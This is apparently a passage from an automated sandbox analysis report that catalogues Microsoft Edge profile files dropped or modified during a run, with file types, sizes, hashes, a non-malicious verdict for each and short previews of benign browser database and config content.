SSDEEP:	192:stSLkdpU9nksfHIlN6xykCzpW3SH80/bV+F/tiOtxQA5tp4ly93Xy+PZYJ:stSLQU9nksfHi4kEiR/bG/tRtxQUtp4H
MD5:	42C6042CB4AF4923CD23BCF848E2B00D
SHA1:	11EE05F7A02D741B322FD3E3D70AC8C98471D90C
SHA-256:	DA6CFC4851AA57A5D6860D48D4D77CA37279CF69CA00FCF47684E9EC349837E2
SHA-512:	C0AE17BBFF4BA34BA1A85A429AF15DF84A6B0A717B8E66BCBC48E500BC963C311B4716F911C79878D8EB2944A8C01EE3301A53974C4E1340EE6415C65111676E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.233386100568028
Encrypted:	false
SSDEEP:	6:H9qnB1Fi23oH+Tcwtp3hBtB2KLlVax/dSQ+q2PFi23oH+Tcwtp3hBWsIFUv:dqBZYebp3dFLqdSVvdZYebp3eFUv
MD5:	A2CB40416DDA4BA4EAF7256EBDBE4E86
SHA1:	F73BC2116BC82F8A411714B48F5568EF6A87D2AC
SHA-256:	EF9591E091AA657D3BA09C1819CA41E34E624A54533651963F72A58882A947A1
SHA-512:	4749488A9D4B7F3718F2D9C562D00822CB637479B22E7CE24E0A7920C8F68FB9C5302CEE572FDBE175748AA93B86D55DF82B62FDF4B44EC81C1BB45022968D76
Malicious:	false
Preview:	2024/11/22-11:08:50.999 2008 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-11:08:51.011 2008 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228862213211
Encrypted:	false
SSDEEP:	24576:tZPeZpVdfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:tZWZpVdfx2mjF
MD5:	71664B90C640956E4F78E6E3F2E99E4C
SHA1:	85C3D199DC71278B1F254AB621A0DB285AC14800
SHA-256:	FFE9E5110585D4E63FA5931A5CCEDE8B5C90A1EDBD62CFFF90FBD5F78D79CA53
SHA-512:	DF5C5D454DCF8EA40A86890D12C04F0E54B6314504CC639C2A677C3CC71E55453C413B1FD3B8096C807F7FB9B212E0619A237AE829EB1E45719AA76D808AAC5A
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340972966846363.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.110044748448599
Encrypted:	false
SSDEEP:	6:HaYSlL+q2PFi23oH+Tcwt9Eh1tIFUt8YaBKWZmw+Y/CjLVkwOFi23oH+Tcwt9Ehx:ji+vdZYeb9Eh16FUt8bKW/+hV5wZYebY
MD5:	CFA28D57240B4A2767003A59622ACD49
SHA1:	3B7859952A0813488012B94C095FE6351767CB44
SHA-256:	B003E9E88E1494DD7BBAEF957A64A65C7B6181ECDFF536BBA702FE92239343D2
SHA-512:	2D044862B5FD09AB0048E5C620A45C97BE7AB9984C3313FFA066546F17B0F9CC4272678E51FD9001A4CE7FF527B9055B3566C50173D6DA70931ABA5053FD9A24
Malicious:	false
Preview:	2024/11/22-11:08:51.226 223c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-11:08:51.240 223c Recovering log #3.2024/11/22-11:08:52.333 223c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.110044748448599
Encrypted:	false
SSDEEP:	6:HaYSlL+q2PFi23oH+Tcwt9Eh1tIFUt8YaBKWZmw+Y/CjLVkwOFi23oH+Tcwt9Ehx:ji+vdZYeb9Eh16FUt8bKW/+hV5wZYebY
MD5:	CFA28D57240B4A2767003A59622ACD49
SHA1:	3B7859952A0813488012B94C095FE6351767CB44
SHA-256:	B003E9E88E1494DD7BBAEF957A64A65C7B6181ECDFF536BBA702FE92239343D2
SHA-512:	2D044862B5FD09AB0048E5C620A45C97BE7AB9984C3313FFA066546F17B0F9CC4272678E51FD9001A4CE7FF527B9055B3566C50173D6DA70931ABA5053FD9A24
Malicious:	false
Preview:	2024/11/22-11:08:51.226 223c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-11:08:51.240 223c Recovering log #3.2024/11/22-11:08:52.333 223c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46231193302398443
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBupb:TouQq3qh7z3bY2LNW9WMcUvBupb
MD5:	8AB32802AC2CC4A664B0499F18FAD455
SHA1:	843800E2211C68E5941AC1379C490AE6BE2F02BE
SHA-256:	6906A9F4A7ED1924638BF914A9AB8AAE864E4809960489F65B9436015B22A442
SHA-512:	B0C6047B3D45341686026C8ACB3A0564AFEB85CAF2C369698B951F53DB1F01F2E21DA59D3E36F26DC3249C66B211BA1F665656F95ADFCABBDBE95466EED71F1D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.259117606348302
Encrypted:	false
SSDEEP:	6:HPAQyq2PFi23oH+TcwtnG2tMsIFUt8YgwG1Zmw+YKQRkwOFi23oH+TcwtnG2tMsd:v1yvdZYebn9GFUt8nZ/+qR5wZYebn95J
MD5:	7A35C4BDA04B62B6D434A1A434C81A9E
SHA1:	9B058316BAC260A5DA160357B5499C3D3939B907
SHA-256:	834FA45E27CE31F35341D63DDD203B594B906BB061FE7870077EAB6EA14EFC78
SHA-512:	D4DB70B20ED3B4D799CBEFB7A4B0A8970A046551CD128DA2DB6AB0E90538B675EB4B463B1C8A94141C9E18ABCB058A33287E74398E59439AC0D23D03F80BD9FE
Malicious:	false
Preview:	2024/11/22-11:08:46.396 690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-11:08:46.397 690 Recovering log #3.2024/11/22-11:08:46.398 690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.259117606348302
Encrypted:	false
SSDEEP:	6:HPAQyq2PFi23oH+TcwtnG2tMsIFUt8YgwG1Zmw+YKQRkwOFi23oH+TcwtnG2tMsd:v1yvdZYebn9GFUt8nZ/+qR5wZYebn95J
MD5:	7A35C4BDA04B62B6D434A1A434C81A9E
SHA1:	9B058316BAC260A5DA160357B5499C3D3939B907
SHA-256:	834FA45E27CE31F35341D63DDD203B594B906BB061FE7870077EAB6EA14EFC78
SHA-512:	D4DB70B20ED3B4D799CBEFB7A4B0A8970A046551CD128DA2DB6AB0E90538B675EB4B463B1C8A94141C9E18ABCB058A33287E74398E59439AC0D23D03F80BD9FE
Malicious:	false
Preview:	2024/11/22-11:08:46.396 690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-11:08:46.397 690 Recovering log #3.2024/11/22-11:08:46.398 690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6141054668838991
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jfOBpROlmL:TO8D4jJ/6Up+aEy
MD5:	0C4A01D0FCABE300C6F3C4AC9115C84A
SHA1:	80A1E24F77D85702BF43ECD777691F95A8D6FB2F
SHA-256:	DEBFBDE6696C23F4D148671A7D22C80DF3EF4765A745FC7015636932D3B4BA02
SHA-512:	E3A593CB794BDF90CC1A43759FC8DB9A6E53B6804F522A69416990B73A5B2C8BC115FD2B456CFF72175AEDA6E5FE6C130B71E2B8247ED5A6FCAB28CD567795C6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354166480630348
Encrypted:	false
SSDEEP:	6144:lA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:lFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	F3FFF63E07B6FEDBCA8CC191C98A8A2F
SHA1:	DB07FC989E3179F0ED65630802920AD317C46CC1
SHA-256:	A916FC0042C5A2B71172E5481A1A07C1C647F7A5AAB43F65278E2C44A6CFCF9D
SHA-512:	048C76B0433FBE41FFDB46A6E9FE5C4964135DF00D7FE04E8DADF7BE3D47C5B8471FBDAFC855F26A1FACA10C7B4A1355B02D5D5B7A14D444FA5F71FF427D2487
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13376765334930786..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.187047565746288
Encrypted:	false
SSDEEP:	6:HaJ0X7HM1Fi23oH+Tcwtk2WwnvB2KLlVa6gjyq2PFi23oH+Tcwtk2WwnvIFUv:Y0TqZYebkxwnvFL0jyvdZYebkxwnQFUv
MD5:	54881C541C5D0B0ACF05CB69CB46AC6E
SHA1:	F2079832747ECC913C595BCBABD0C17002F34FD0
SHA-256:	41F8235C753C7204C0C5B07392ECD8066B74A7AE5C32C68A2081F8F45FC67694
SHA-512:	305BEFDD40B2BADD0B92D35078EF586BDCEAB6416947DCA72D6F96A5E51E1ED3EFA1ADA16F963DF22FC30B4693DA167143F6055C5029B27120C06B8493C51501
Malicious:	false
Preview:	2024/11/22-11:08:51.159 2294 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-11:08:51.186 2294 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614897792836
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RW:C1gAg1zfve
MD5:	B78DDD3E4CE17E13BD3F9DD5714C98F1
SHA1:	AAE00F71F30896F55BB4038F79ED703CF44DA663
SHA-256:	9BE804C4AD5A8CE7FBBF6A11B5C5E0285245546F51F38782932D357840C4AF33
SHA-512:	362F0A02094AB1D11DA248282B84635139372E941069C414AA705E2D8B81083D57C24CA2169B130817CA13BAB63995CA387134039DCFCAEDA9A044D1392346DC
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.159823796439806
Encrypted:	false
SSDEEP:	6:H7uOVq2PFi23oH+Tcwt8aPrqIFUt8YpOgZmw+YpOIkwOFi23oH+Tcwt8amLJ:bHVvdZYebL3FUt8MOg/+MOI5wZYebQJ
MD5:	1182FB3FF00881D66D96395A6F42C0C5
SHA1:	D5BE3F8F28B4963700B6942B87EA3B173DFD4E54
SHA-256:	ED964E3E391F0468C1E2721E8E7ADA4B6E1B05F0AC69D42488359A59D97D58BF
SHA-512:	D53D4E94966C5278F255367DDD146438967F42E728BE14E3180A64E24744C6C6ABBD01DD6FE56D8DAD9557D69D166D504012E93C178ABBF4D18E0CF7DC8B8AF0
Malicious:	false
Preview:	2024/11/22-11:08:46.401 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-11:08:46.402 1bd0 Recovering log #3.2024/11/22-11:08:46.402 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.159823796439806
Encrypted:	false
SSDEEP:	6:H7uOVq2PFi23oH+Tcwt8aPrqIFUt8YpOgZmw+YpOIkwOFi23oH+Tcwt8amLJ:bHVvdZYebL3FUt8MOg/+MOI5wZYebQJ
MD5:	1182FB3FF00881D66D96395A6F42C0C5
SHA1:	D5BE3F8F28B4963700B6942B87EA3B173DFD4E54
SHA-256:	ED964E3E391F0468C1E2721E8E7ADA4B6E1B05F0AC69D42488359A59D97D58BF
SHA-512:	D53D4E94966C5278F255367DDD146438967F42E728BE14E3180A64E24744C6C6ABBD01DD6FE56D8DAD9557D69D166D504012E93C178ABBF4D18E0CF7DC8B8AF0
Malicious:	false
Preview:	2024/11/22-11:08:46.401 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-11:08:46.402 1bd0 Recovering log #3.2024/11/22-11:08:46.402 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
